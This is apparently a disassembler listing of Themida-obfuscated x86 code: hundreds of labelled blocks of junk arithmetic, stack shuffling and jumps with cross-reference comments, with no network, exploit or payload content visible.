mov bl, ch
pop ecx
or bl, 20h
push 0BA7h
mov [esp], edx
jmp loc_59D0F1
; ---------------------------------------------------------------------------
loc_590DA4: ; CODE XREF: Themida_:005A20BFj
not dword ptr [esp]
mov edx, [esp]
jmp loc_5978B8
; ---------------------------------------------------------------------------
loc_590DAF: ; CODE XREF: Themida_:0059CAE7j
add esp, 4
add edi, 0A7FA7F9Ch
push edi
mov edx, [esp]
add esp, 4
jmp loc_59AC7B
; ---------------------------------------------------------------------------
loc_590DC7: ; CODE XREF: Themida_:00597D55j
push 33C3h
jmp loc_5A26A4
; ---------------------------------------------------------------------------
loc_590DD1: ; CODE XREF: Themida_:00592C64j
xor esi, 3D0570C9h
push edx
mov edx, 168B0B06h
shl edx, 3
add edx, 4B4F2595h
jmp loc_5924A6
; ---------------------------------------------------------------------------
loc_590DEB: ; CODE XREF: Themida_:0059B0DFj
mov [esp], ebp
jmp loc_59C551
; ---------------------------------------------------------------------------
loc_590DF3: ; CODE XREF: Themida_:00594867j
push edx
mov edx, 6CCD37EAh
mov ebx, 0C23C508Ch
add ebx, 762B0FD3h
sub ebx, edx
sub ebx, 762B0FD3h
pop edx
or ebx, 62F65BFEh
add ebx, 1
sub ebx, 6C2856A1h
and ebx, 7E3C7C8Ah
jmp loc_5A0F89
; ---------------------------------------------------------------------------
loc_590E2A: ; CODE XREF: Themida_:0059354Cj
pop ecx
pop ebx
sub esi, 5F692D2Eh
add esi, ecx
jmp loc_59A4E1
; ---------------------------------------------------------------------------
loc_590E39: ; CODE XREF: Themida_:005A1D87j
push ecx
push esp
pop ecx
push 4261h
mov [esp], ebx
mov ebx, 54893AAFh
sub ebx, 132F207Ch
push 4F8Fh
mov [esp], esi
mov esi, 46693929h
jmp loc_59281D
; ---------------------------------------------------------------------------
loc_590E61: ; CODE XREF: Themida_:0059F577j
sub cl, al
pop eax
xor cl, 3Ah
sub al, 0D3h
sub al, 0CEh
sub al, cl
add al, 0CEh
jmp loc_59DA70
; ---------------------------------------------------------------------------
loc_590E74: ; CODE XREF: Themida_:0059944Cj
sub esp, 4
mov [esp], edi
mov edi, 67D56BF1h
jmp loc_5A070B
; ---------------------------------------------------------------------------
loc_590E84: ; CODE XREF: Themida_:00592F17j
add ebx, 11DA65B9h
add ebx, esi
sub ebx, 11DA65B9h
jmp loc_59269B
; ---------------------------------------------------------------------------
loc_590E97: ; CODE XREF: Themida_:005988FDj
push dword ptr [esp]
jmp loc_59D6C9
; ---------------------------------------------------------------------------
loc_590E9F: ; CODE XREF: Themida_:005948DEj
push ebp
push ecx
mov ecx, 6CFB0B9Ah
jmp loc_5A29F7
; ---------------------------------------------------------------------------
loc_590EAB: ; CODE XREF: Themida_:0059B711j
mov edx, 4
jmp loc_58FE2B
; ---------------------------------------------------------------------------
loc_590EB5: ; CODE XREF: Themida_:0059D965j
add [esp+4], ebx
mov ebx, [esp]
add esp, 4
jmp loc_59A396
; ---------------------------------------------------------------------------
loc_590EC4: ; CODE XREF: Themida_:0059AF1Aj
push ecx
jmp loc_59BA17
; ---------------------------------------------------------------------------
loc_590ECA: ; CODE XREF: Themida_:00592025j
push dword ptr [esp]
pop eax
add esp, 4
push ecx
jmp loc_59FB09
; ---------------------------------------------------------------------------
loc_590ED7: ; CODE XREF: Themida_:005A0C71j
mov dh, 26h
neg dh
jmp loc_591EB5
; ---------------------------------------------------------------------------
loc_590EE0: ; CODE XREF: Themida_:00590CECj
add esp, 4
jmp loc_597B63
; ---------------------------------------------------------------------------
loc_590EEB: ; CODE XREF: Themida_:0059763Ej
push edi
push dword ptr [esp+4]
pop edi
jmp loc_5A1F2A
; ---------------------------------------------------------------------------
loc_590EF6: ; CODE XREF: Themida_:00593E09j
push ecx
mov ecx, 56A46DAEh
shr ecx, 3
add ecx, 3AA97066h
sub ecx, 0FFEB5A93h
add esi, ecx
mov ecx, [esp]
add esp, 4
jmp loc_5964DD
; ---------------------------------------------------------------------------
loc_590F1B: ; CODE XREF: Themida_:005A0981j
pop esp
mov [esp], edx
mov dh, 0EBh
not dh
or dh, 5Ah
xor dh, 9Bh
shr dh, 3
jmp loc_59F4E4
; ---------------------------------------------------------------------------
loc_590F31: ; CODE XREF: Themida_:005A0EF3j
add esp, 4
sub esp, 4
jmp loc_5934ED
; ---------------------------------------------------------------------------
loc_590F42: ; CODE XREF: Themida_:00594F44j
or esi, 4755196Ah
sub esi, 0FFFFFFFFh
push eax
jmp loc_59E335
; ---------------------------------------------------------------------------
loc_590F54: ; CODE XREF: Themida_:0059A5EAj
xor [esp], eax
xor eax, [esp]
mov esp, [esp]
xor ecx, [esp]
xor [esp], ecx
xor ecx, [esp]
pop esp
jmp loc_5A1988
; ---------------------------------------------------------------------------
loc_590F6C: ; CODE XREF: Themida_:0059C4B8j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_590F71: ; CODE XREF: Themida_:005999C4j
not byte ptr [esp+1]
pop eax
push ecx
jmp loc_5A1F7A
; ---------------------------------------------------------------------------
mov ax, [esp]
jmp loc_5952FC
; ---------------------------------------------------------------------------
loc_590F85: ; CODE XREF: Themida_:005986C0j
xor esi, 0E23B9906h
jmp loc_59FE15
; ---------------------------------------------------------------------------
loc_590F90: ; CODE XREF: Themida_:005904CFj
and [edi+1Ch], ebp
mov ebp, [esp]
push ebx
mov ebx, esp
push eax
mov eax, 75E6336h
jmp loc_59B49A
; ---------------------------------------------------------------------------
loc_590FA4: ; CODE XREF: Themida_:005941E3j
sub eax, ebp
pop ebp
pop ebx
sub eax, 4C7C2BD3h
jmp loc_59AE7B
; ---------------------------------------------------------------------------
loc_590FB2: ; CODE XREF: Themida_:00595168j
mov ebp, edx
pop edx
push edx
jmp loc_599F07
; ---------------------------------------------------------------------------
mov cx, [esp]
jmp loc_5A3143
; ---------------------------------------------------------------------------
loc_590FC4: ; CODE XREF: Themida_:00599699j
mov ebp, edx
pop edx
xor ebp, edx
pop edx
push edi
mov edi, 7A484A3Bh
add ecx, edi
mov edi, [esp]
jmp loc_59E234
; ---------------------------------------------------------------------------
mov ax, [esp]
push 6B91h
mov [esp], edx
mov edx, esp
add edx, 4
push 3008h
mov [esp], ebp
push 2
pop ebp
add edx, ebp
push dword ptr [esp]
mov ebp, [esp]
add esp, 4
sub esp, 4
mov [esp], ecx
jmp loc_58F434
; ---------------------------------------------------------------------------
loc_591018: ; CODE XREF: Themida_:0059F0CCj
push dword ptr [edi+eax*4]
push edx
jmp loc_59B152
; ---------------------------------------------------------------------------
loc_591021: ; CODE XREF: Themida_:00592197j
push dword ptr [esp+4]
pop ecx
jmp loc_591CDD
; ---------------------------------------------------------------------------
loc_59102B: ; CODE XREF: Themida_:0058FC39j
xor ecx, 3C575F5Dh
shl ecx, 4
sub ecx, 46063635h
shr ecx, 8
add ecx, 6539915Bh
add ebx, ecx
jmp loc_5A02BA
; ---------------------------------------------------------------------------
loc_59104A: ; CODE XREF: Themida_:0059BD5Aj
shl esi, 6
xor esi, 1B8B5B8Bh
sub esi, 564D73BAh
inc esi
neg esi
add esi, 9C4CC89Ch
xor edx, esi
mov esi, [esp]
add esp, 4
jmp loc_5A0A66
; ---------------------------------------------------------------------------
mov ax, [esp]
push edx
mov edx, esp
add edx, 4
jmp loc_59CF80
; ---------------------------------------------------------------------------
loc_591081: ; CODE XREF: Themida_:0059FE84j
mov edx, 1E8C6710h
jmp loc_59E721
; ---------------------------------------------------------------------------
loc_59108B: ; CODE XREF: Themida_:0058FA71j
push esi
mov esi, 1CB60622h
sub esi, 69965AD8h
push ebx
mov ebx, 79E32A26h
xor esi, ebx
pop ebx
xor esi, 0F218CB96h
sub dword ptr [esp+8], 50C05F8Fh
add [esp+8], esi
add dword ptr [esp+8], 50C05F8Fh
pop esi
add [esp+4], esi
sub esp, 4
mov [esp], esi
mov esi, 38E44AFAh
sub [esp+8], esi
pop esi
pop esi
mov edx, [esp]
add esp, 4
jmp loc_59151E
; ---------------------------------------------------------------------------
loc_5910DE: ; CODE XREF: Themida_:0059C317j
add edi, 4
xchg edi, [esp]
jmp loc_59ACA5
; ---------------------------------------------------------------------------
loc_5910EC: ; CODE XREF: Themida_:0059D932j
add esp, 4
push 27DBh
mov [esp], ecx
jmp loc_58E8AB
; ---------------------------------------------------------------------------
loc_5910FF: ; CODE XREF: Themida_:0058F5BFj
shr esi, 7
push ebx
mov ebx, 0F18D597Dh
sub esi, ebx
jmp loc_59E54F
; ---------------------------------------------------------------------------
loc_59110F: ; CODE XREF: Themida_:00599B67j
mov [esp], esi
push esp
pop esi
jmp loc_59E764
; ---------------------------------------------------------------------------
loc_591119: ; CODE XREF: Themida_:00599713j
pop esi
sub dword ptr [esp+8], 7388776Fh
add [esp+8], edx
add dword ptr [esp+8], 7388776Fh
pop edx
sub [esp+4], edx
sub dword ptr [esp+4], 7106274Eh
mov edx, [esp]
jmp loc_5A2DF1
; ---------------------------------------------------------------------------
loc_591143: ; CODE XREF: Themida_:00593D40j
mov [esp], ebp
jmp loc_5907A9
; ---------------------------------------------------------------------------
loc_59114B: ; CODE XREF: Themida_:00591E0Cj
mov eax, [esp]
add esp, 4
shr ebp, 5
or ebp, 24025F54h
add ebp, 5F40383Bh
sub esp, 4
mov [esp], ebx
jmp loc_59E5B2
; ---------------------------------------------------------------------------
loc_59116E: ; CODE XREF: Themida_:0059E092j
add edi, ebp
sub edi, 48666262h
pop ebp
add edi, 4
xchg edi, [esp]
pop esp
pop dword ptr [esp]
mov esp, [esp]
sub esp, 4
jmp loc_5A06D1
; ---------------------------------------------------------------------------
loc_59118C: ; CODE XREF: Themida_:00596864j
push eax
push edi
jmp loc_59F968
; ---------------------------------------------------------------------------
loc_591193: ; CODE XREF: Themida_:00594F52j
mov eax, esp
add eax, 4
add eax, 4
xchg eax, [esp]
jmp loc_59D4EB
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_5911A5: ; CODE XREF: sub_59DA2F+36B7j
sub ah, 0B6h
xor bh, ah
pop eax
not bh
jmp loc_596574
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_5911B2: ; CODE XREF: Themida_:0058ECC1j
add edi, 71C4479Fh
pop ebx
mov eax, [esp]
jmp loc_59B088
; ---------------------------------------------------------------------------
loc_5911C1: ; CODE XREF: Themida_:005943F9j
pop ebp
add ebp, esi
pop esi
jmp loc_597969
; ---------------------------------------------------------------------------
loc_5911CA: ; CODE XREF: Themida_:00591A45j
xor eax, [esp]
xor [esp], eax
xor eax, [esp]
jmp loc_59F0CB
; ---------------------------------------------------------------------------
loc_5911D8: ; CODE XREF: Themida_:0058F018j
mov cx, [esp]
push esi
push esp
mov esi, [esp]
add esp, 4
push ebx
push edi
push 77210445h
pop edi
jmp loc_592B90
; ---------------------------------------------------------------------------
loc_5911F1: ; CODE XREF: Themida_:0059EF96j
xor bh, al
push dword ptr [esp]
jmp loc_58FC9A
; ---------------------------------------------------------------------------
loc_5911FB: ; CODE XREF: Themida_:0059E50Bj
xchg eax, [esp]
pop esp
mov [esp], eax
jmp loc_59AF18
; ---------------------------------------------------------------------------
loc_591207: ; CODE XREF: Themida_:005A1F64j
mov ebp, esi
pop esi
push esi
jmp loc_592064
; ---------------------------------------------------------------------------
loc_591210: ; CODE XREF: Themida_:0059676Dj
mov [esp], ebx
mov ebx, 0EBE69ABh
jmp loc_58EFD5
; ---------------------------------------------------------------------------
loc_59121D: ; CODE XREF: Themida_:0058FB41j
sub ebp, ecx
pop ecx
jmp loc_593C92
; ---------------------------------------------------------------------------
loc_591225: ; CODE XREF: Themida_:0059262Cj
pop edi
jmp loc_58FF03
; ---------------------------------------------------------------------------
loc_59122B: ; CODE XREF: Themida_:005900CAj
push ebx
jmp loc_5A2382
; ---------------------------------------------------------------------------
loc_591231: ; CODE XREF: Themida_:00593504j
sub esp, 4
mov [esp], ecx
push ebp
push ecx
mov ecx, 494C3C43h
mov ebp, ecx
pop ecx
push esi
jmp loc_5999FD
; ---------------------------------------------------------------------------
loc_591247: ; CODE XREF: Themida_:0059AE28j
push edi
mov edi, 66EF55B6h
mov edx, edi
jmp loc_59A764
; ---------------------------------------------------------------------------
loc_591254: ; CODE XREF: Themida_:0059A15Cj
cmp dword ptr [edi+20h], 0
jz loc_5914AA
push 4CDh
mov [esp], ebx
mov ebx, 3D22033Bh
jmp loc_5A2D6F
; ---------------------------------------------------------------------------
loc_591270: ; CODE XREF: Themida_:005928F2j
xor edi, 4016290Bh
add eax, edi
mov edi, [esp]
add esp, 4
add eax, 4
xchg eax, [esp]
jmp loc_594148
; ---------------------------------------------------------------------------
loc_59128C: ; CODE XREF: Themida_:00593B34j
shr ebp, 1
or ebp, 5F24B36h
sub ebp, 73B37C33h
dec ebp
xor ebp, 97075158h
add ebx, ebp
pop ebp
mov edi, ebx
jmp loc_595E1B
; ---------------------------------------------------------------------------
loc_5912AB: ; CODE XREF: Themida_:005A1494j
shl edi, 8
jmp loc_59443F
; ---------------------------------------------------------------------------
loc_5912B3: ; CODE XREF: Themida_:0059D46Aj
add ebx, 4
xchg ebx, [esp]
pop esp
add esp, 4
add edx, 2
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
btr [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_5912DD: ; CODE XREF: Themida_:005991EEj
pop ecx
add edi, esi
jmp loc_59D1BB
; ---------------------------------------------------------------------------
loc_5912E5: ; CODE XREF: Themida_:0059866Bj
add esp, 4
push ecx
mov ecx, 218E3242h
add ecx, 206E68A2h
sub ecx, 0FFFFFFFFh
push 0
sub [esp], ecx
jmp loc_59F444
; ---------------------------------------------------------------------------
loc_59130A: ; CODE XREF: Themida_:005958D8j
mov esi, esp
add esi, 4
add esi, 4
xchg esi, [esp]
pop esp
jmp loc_596566
; ---------------------------------------------------------------------------
loc_591321: ; CODE XREF: Themida_:0059E5EFj
dec ebx
add ebx, 0D5E461BFh
jmp loc_59682A
; ---------------------------------------------------------------------------
loc_59132D: ; CODE XREF: Themida_:005A1A66j
mov ebp, [esp]
add esp, 4
add ecx, 2
xor ecx, [esp]
jmp loc_59486C
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59D110
loc_591344: ; CODE XREF: sub_59D110-7F33j
xor [esp+0], ebx
jmp loc_58E353
; END OF FUNCTION CHUNK FOR sub_59D110
; ---------------------------------------------------------------------------
loc_59134C: ; CODE XREF: Themida_:005930FCj
mov bh, ch
pop ecx
mov cl, 0A9h
xor cl, bh
mov ebx, [esp]
add esp, 4
xor cl, 45h
shl cl, 8
neg cl
add cl, 0A0h
jmp loc_5A07F3
; ---------------------------------------------------------------------------
loc_591369: ; CODE XREF: Themida_:0059E40Bj
push eax
mov al, 69h
add al, 71h
or al, 0BCh
push edx
jmp loc_58F273
; ---------------------------------------------------------------------------
loc_591376: ; CODE XREF: Themida_:005A3196j
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59137B: ; CODE XREF: Themida_:0059DCEFj
push 44CAh
mov [esp], edx
mov edx, esp
push esi
mov esi, 41356385h
shr esi, 1
sub esi, 143B5D04h
jmp loc_59547D
; ---------------------------------------------------------------------------
loc_591398: ; CODE XREF: Themida_:0059C8EDj
push eax
mov eax, 4
push edi
mov edi, 52026B58h
dec edi
add edi, 0DB9DED3Dh
jmp loc_596679
; ---------------------------------------------------------------------------
loc_5913B0: ; CODE XREF: Themida_:00590681j
push ecx
jmp loc_597803
; ---------------------------------------------------------------------------
loc_5913B6: ; CODE XREF: Themida_:005980B5j
add edi, 28D72531h
add edi, ecx
push ebp
mov ebp, 28D72531h
sub edi, ebp
pop ebp
push ebp
mov ebp, 7B9D44FBh
sub edi, ebp
jmp loc_596796
; ---------------------------------------------------------------------------
loc_5913D4: ; CODE XREF: Themida_:00592094j
mov bl, 0AAh
jmp loc_5967A0
; ---------------------------------------------------------------------------
loc_5913DB: ; CODE XREF: Themida_:0059CCFEj
mov [esp], ebx
mov ebx, esp
jmp loc_58E9D1
; ---------------------------------------------------------------------------
loc_5913E5: ; CODE XREF: Themida_:0059D40Aj
mov ecx, [esp]
add esp, 4
pop esi
push edi
mov edi, ebp
push edi
add dword ptr [esp], 50643355h
pop ecx
push ebp
mov ebp, 50643355h
sub ecx, ebp
jmp loc_596F06
; ---------------------------------------------------------------------------
loc_591405: ; CODE XREF: Themida_:0059E5ADj
xchg ebx, [esp]
jmp loc_59DB24
; ---------------------------------------------------------------------------
loc_59140D: ; CODE XREF: Themida_:0059B772j
and dl, ch
jmp loc_5A252D
; ---------------------------------------------------------------------------
loc_591414: ; CODE XREF: Themida_:0058FD4Aj
pop esp
mov ebx, edi
mov edi, [esp]
jmp loc_59BB09
; ---------------------------------------------------------------------------
loc_59141F: ; CODE XREF: Themida_:0059E19Aj
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_591424: ; CODE XREF: Themida_:0059788Ej
xor [esp], ebx
xor ebx, [esp]
mov esp, [esp]
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_591432: ; CODE XREF: Themida_:0059AA4Cj
mov esi, 408D609Dh
inc esi
or esi, 5FF24D3Eh
jmp loc_59A2B2
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59DA2F
loc_591443: ; CODE XREF: sub_59DA2F-B0Ej
neg bh
inc bh
push eax
mov ah, 0Ch
jmp loc_5A10E0
; END OF FUNCTION CHUNK FOR sub_59DA2F
; ---------------------------------------------------------------------------
loc_59144F: ; CODE XREF: Themida_:0059CB70j
movzx eax, al
mov dx, [esp]
jmp loc_5A245D
; ---------------------------------------------------------------------------
loc_59145B: ; CODE XREF: Themida_:00598766j
add eax, ebp
push ebx
push edx
mov edx, 5D6A3D60h
push ebp
mov ebp, 99F6936Ah
mov ebx, ebp
pop ebp
jmp loc_59E7E8
; ---------------------------------------------------------------------------
loc_591472: ; CODE XREF: Themida_:005A19AFj
mov edx, ebx
jmp loc_59776C
; ---------------------------------------------------------------------------
loc_591479: ; CODE XREF: Themida_:0058F42Fj
pop esi
xor esi, 669B0A55h
pop edx
shl esi, 5
not esi
xor esi, 452A3C25h
xor esi, 14BC2FBAh
push esi
add dword ptr [esp], 66AF21EAh
pop ebx
sub ebx, 66AF21EAh
mov esi, [esp]
add esp, 4
loc_5914AA: ; CODE XREF: Themida_:00591258j
push 45A9h
mov [esp], ecx
mov ecx, esp
add ecx, 4
jmp loc_59CDA8
; ---------------------------------------------------------------------------
loc_5914BF: ; CODE XREF: Themida_:0059F829j
shr esi, 7
shl esi, 3
sub esi, 0AAD5CEEEh
add ebx, 757E5006h
sub ebx, esi
sub ebx, 757E5006h
pop esi
sub ebx, 5591729Ah
sub ebx, 39115556h
sub ebx, eax
add ebx, 39115556h
push 4471h
mov [esp], ebp
mov ebp, 415A2E29h
add ebp, 0FFFFFFFFh
dec ebp
not ebp
push ecx
jmp loc_5947A4
; ---------------------------------------------------------------------------
loc_591507: ; CODE XREF: Themida_:005999D5j
shl ebx, 1
jmp loc_5A2BF9
; ---------------------------------------------------------------------------
loc_59150E: ; CODE XREF: Themida_:0059F183j
pop eax
push ebx
push ecx
mov ch, 0CDh
shr ch, 2
push edx
mov dl, 0EEh
jmp loc_590D85
; ---------------------------------------------------------------------------
loc_59151E: ; CODE XREF: Themida_:005910D9j
push ebx
push esi
jmp loc_59EE0A
; ---------------------------------------------------------------------------
loc_591525: ; CODE XREF: Themida_:00593D78j
shl ebx, 1
add ebx, 90F05924h
xor esi, ebx
pop ebx
and esi, 62891083h
shl esi, 7
add esi, 0FF77BE84h
mov ebp, esi
jmp loc_59CBA0
; ---------------------------------------------------------------------------
loc_591546: ; CODE XREF: Themida_:00594EC4j
add ebp, 4
xchg ebp, [esp]
pop esp
and eax, ebx
jmp loc_592584
; =============== S U B R O U T I N E =======================================
sub_591554 proc near ; DATA XREF: Themida_:0058E12Co
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = word ptr 4
; FUNCTION CHUNK AT 0058F86C SIZE 0000003A BYTES
; FUNCTION CHUNK AT 005938C5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005953B8 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0059566C SIZE 00000014 BYTES
; FUNCTION CHUNK AT 00595FA0 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 00596205 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 00597575 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00597607 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 005986CF SIZE 00000007 BYTES
; FUNCTION CHUNK AT 00598870 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0059990F SIZE 00000008 BYTES
; FUNCTION CHUNK AT 0059CAEC SIZE 0000000C BYTES
; FUNCTION CHUNK AT 0059D0B4 SIZE 0000000F BYTES
; FUNCTION CHUNK AT 0059E453 SIZE 0000001C BYTES
; FUNCTION CHUNK AT 0059EC1A SIZE 00000026 BYTES
; FUNCTION CHUNK AT 0059F6C0 SIZE 0000000C BYTES
; FUNCTION CHUNK AT 005A0818 SIZE 0000000B BYTES
mov cx, [esp+0]
push 37D8h
mov [esp+4+var_4], eax
jmp loc_59566C
sub_591554 endp
; ---------------------------------------------------------------------------
loc_591565: ; CODE XREF: Themida_:005923CAj
not eax
jmp loc_592E21
; ---------------------------------------------------------------------------
loc_59156C: ; CODE XREF: Themida_:0059C4C8j
pop esp
mov [esp], edi
push ebx
mov ebx, 13C87B75h
mov edi, 6F8D3629h
xor edi, ebx
pop ebx
jmp loc_59E287
; ---------------------------------------------------------------------------
loc_591583: ; CODE XREF: Themida_:005A22A3j
xor ebp, edx
pop edx
jmp loc_593768
; ---------------------------------------------------------------------------
loc_59158B: ; CODE XREF: Themida_:005995FBj
sub al, bh
add al, 8Fh
push bx
mov bh, 42h
add al, 67h
sub al, bh
sub al, 67h
pop bx
jmp loc_5984C8
; ---------------------------------------------------------------------------
loc_5915A0: ; CODE XREF: Themida_:00599381j
mov esi, esp
push edx
jmp loc_591E98
; ---------------------------------------------------------------------------
loc_5915A8: ; CODE XREF: Themida_:005A1C1Cj
xor edx, [esp]
pop esp
sub esp, 2
mov [esp], bx
push ecx
jmp loc_598F9B
; ---------------------------------------------------------------------------
loc_5915B9: ; CODE XREF: Themida_:005A0D24j
mov dh, [esp]
add esp, 4
xor dh, 0A6h
sub dh, 9Ch
sub cl, dh
pop edx
jmp $+5
add al, cl
pop ecx
jmp loc_5A2413
; ---------------------------------------------------------------------------
lodsd
push 241Ah
mov [esp], ecx
mov ecx, 43360B90h
sub eax, ecx
pop ecx
add eax, 13290CD3h
jmp loc_595EA1
; ---------------------------------------------------------------------------
loc_5915F0: ; CODE XREF: Themida_:0059C4EEj
pop ecx
sub ebx, esi
jmp loc_59A169
; ---------------------------------------------------------------------------
loc_5915F8: ; CODE XREF: Themida_:00599E2Dj
push edx
jmp loc_58ED40
; ---------------------------------------------------------------------------
loc_5915FE: ; CODE XREF: Themida_:00596425j
push ecx
push esp
pop ecx
add ecx, 4
push edx
mov edx, 1FA84A1Dh
dec edx
inc edx
jmp loc_593228
; ---------------------------------------------------------------------------
loc_591614: ; CODE XREF: Themida_:0059D721j
add edi, ebx
pop ebx
add edi, ecx
sub edi, 14E0610h
pop ecx
jmp loc_59C597
; ---------------------------------------------------------------------------
loc_591625: ; CODE XREF: Themida_:0059882Bj
add dh, cl
jmp loc_5A2B4F
; ---------------------------------------------------------------------------
loc_59162C: ; CODE XREF: Themida_:0059D4ECj
shl ebx, 4
sub ebx, 0A93652BEh
sub edx, 16445229h
add edx, ebx
add edx, 16445229h
mov ebx, [esp]
add esp, 4
xor edx, [esp]
xor [esp], edx
xor edx, [esp]
mov esp, [esp]
or [esp], ax
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_59165F: ; CODE XREF: Themida_:005A10B8j
mov ecx, esp
add ecx, 4
add ecx, 4
xchg ecx, [esp]
mov esp, [esp]
push ebp
sub esp, 4
mov [esp], esp
add dword ptr [esp], 4
pop ebp
add ebp, 4
jmp loc_595C4D
; ---------------------------------------------------------------------------
loc_591687: ; CODE XREF: Themida_:0058EF15j
sub eax, 68BE5230h
pop ecx
add ebp, eax
push dword ptr [esp]
pop eax
add esp, 4
jmp loc_598E91
; ---------------------------------------------------------------------------
loc_59169E: ; CODE XREF: Themida_:00593EFFj
push dword ptr [esp]
pop ecx
push edi
jmp loc_595A1F
; ---------------------------------------------------------------------------
loc_5916A8: ; CODE XREF: Themida_:0059FF03j
pop ecx
sub eax, 4
jmp loc_59C4C5
; ---------------------------------------------------------------------------
loc_5916B3: ; CODE XREF: Themida_:0059A78Ej
pop esi
jmp loc_5A21F7
; ---------------------------------------------------------------------------
loc_5916B9: ; CODE XREF: Themida_:00595A39j
mov [esp], eax
mov eax, 71AB0675h
jmp loc_5A2240
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_5916C6: ; CODE XREF: sub_59233E+C8D0j
push eax
mov eax, 2A092957h
jmp loc_5936A2
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_5916D1: ; CODE XREF: Themida_:0058F535j
sub ebp, 4
xchg ebp, [esp]
pop esp
mov [esp], edi
push ebx
mov ebx, 47762526h
push eax
mov eax, 68F01A04h
mov edi, 0DE860B26h
jmp loc_592CCC
; ---------------------------------------------------------------------------
loc_5916F4: ; CODE XREF: Themida_:00595C68j
pop ebx
jmp loc_59C19D
; ---------------------------------------------------------------------------
loc_5916FA: ; CODE XREF: Themida_:0059E33Aj
add esi, eax
pop eax
jmp loc_5962F2
; ---------------------------------------------------------------------------
loc_591702: ; CODE XREF: Themida_:0059B07Dj
mov ebx, edx
pop edx
jmp loc_59B7D3
; ---------------------------------------------------------------------------
loc_59170A: ; CODE XREF: Themida_:005953E6j
mov ebp, [esp]
add esp, 4
jmp loc_59BFDC
; ---------------------------------------------------------------------------
loc_591718: ; CODE XREF: Themida_:00591CD8j
push eax
push edi
mov edi, 667F2A4Ch
mov eax, 0EFEF1268h
add eax, edi
pop edi
shr eax, 6
or eax, 7B5436AEh
shl eax, 2
jmp loc_59EBEC
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_59233E
loc_591737: ; CODE XREF: sub_59233E+7074j
mov edx, 2Ch
add edx, 7D9A76D0h
sub edx, 8587B1Dh
add edx, 419D1FF8h
jmp loc_5A1B0F
; END OF FUNCTION CHUNK FOR sub_59233E
; ---------------------------------------------------------------------------
loc_591753: ; CODE XREF: Themida_:0059D89Fj
push eax
mov eax, 0F287661h
jmp loc_59E6A4
; ---------------------------------------------------------------------------
loc_59175E: ; CODE XREF: Themida_:005A2ED8j
add esi, 4
sub esi, 4
jmp loc_59F90E
; ---------------------------------------------------------------------------
loc_59176F: ; CODE XREF: Themida_:0059FEE5j
and ebp, 31917510h
xchg ecx, ebp
not ecx
jmp loc_598749
; ---------------------------------------------------------------------------
loc_59177E: ; CODE XREF: Themida_:005A1A59j
mov ebx, 51446C4Ch
shl ebx, 8
jmp loc_5A2338
; ---------------------------------------------------------------------------
loc_59178B: ; CODE XREF: Themida_:0059F87Dj
push esp
mov edx, [esp]
add esp, 4
push edi
jmp loc_59AA01
; ---------------------------------------------------------------------------
loc_59179B: ; CODE XREF: Themida_:005A0973j
mov ebp, esp
add ebp, 4
add ebp, 4
xchg ebp, [esp]
pop esp
jmp loc_59807E
; ---------------------------------------------------------------------------
loc_5917AF: ; CODE XREF: Themida_:00598905j
pop ecx
add ebx, 4
xchg ebx, [esp]
jmp loc_596878
; ---------------------------------------------------------------------------
loc_5917BB: ; CODE XREF: Themida_:00590D3Dj
pop edi
jmp loc_59AB9B
; ---------------------------------------------------------------------------
loc_5917C1: ; CODE XREF: Themida_:005A2528j
push esp
pop esi
add esi, 4
add esi, 4
sub esp, 4
mov [esp], esi
jmp loc_5994DF
; ---------------------------------------------------------------------------
loc_5917DA: ; CODE XREF: Themida_:0059DD96j
add eax, 43AC6E58h
xchg eax, edi
pop eax
xor edi, 0A75600Bh
add ebx, edi
push dword ptr [esp]
mov edi, [esp]
add esp, 4
add esp, 4
sub esp, 4
mov [esp], eax
mov eax, 4
push esi
mov esi, 6337809h
dec esi
jmp loc_58ECD3
; ---------------------------------------------------------------------------
loc_591812: ; CODE XREF: Themida_:005962EDj
mov esi, 4
add dword ptr [esp+4], 46E5EEDh
add [esp+4], esi
jmp loc_59DE52
; ---------------------------------------------------------------------------
loc_591828: ; CODE XREF: Themida_:00598ED8j
mov [esp], eax
push esi
mov esi, 30424758h
xor esi, 0FFC64E6h
shl esi, 3
jmp loc_594815
; ---------------------------------------------------------------------------
loc_59183F: ; CODE XREF: Themida_:00595C20j
push 41BEh
jmp loc_59B406
; ---------------------------------------------------------------------------
loc_591849: ; CODE XREF: Themida_:005A1517j
xor ecx, 0A26D5A53h
add eax, ecx
pop ecx
pop edi
jmp loc_5A115D
; ---------------------------------------------------------------------------
loc_591858: ; CODE XREF: Themida_:0058F813j
push cx
pushf
jmp loc_58E353
; ---------------------------------------------------------------------------
loc_591860: ; CODE XREF: Themida_:005A198Ej
mov [esp], ecx
mov ecx, ebx
mov ebx, ecx
jmp loc_590A4D
; ---------------------------------------------------------------------------
loc_59186C: ; CODE XREF: Themida_:005A01E9j
pop dword ptr [esp]
pop esp
push 6EBEh
mov [esp], edx
jmp loc_59C3EE
; ---------------------------------------------------------------------------
loc_59187D: ; CODE XREF: Themida_:0058F35Ej
pop eax
jmp loc_599D0D
; ---------------------------------------------------------------------------
loc_591883: ; CODE XREF: Themida_:005948E6j
xor ebx, 29B13813h
jmp loc_591F37
; ---------------------------------------------------------------------------
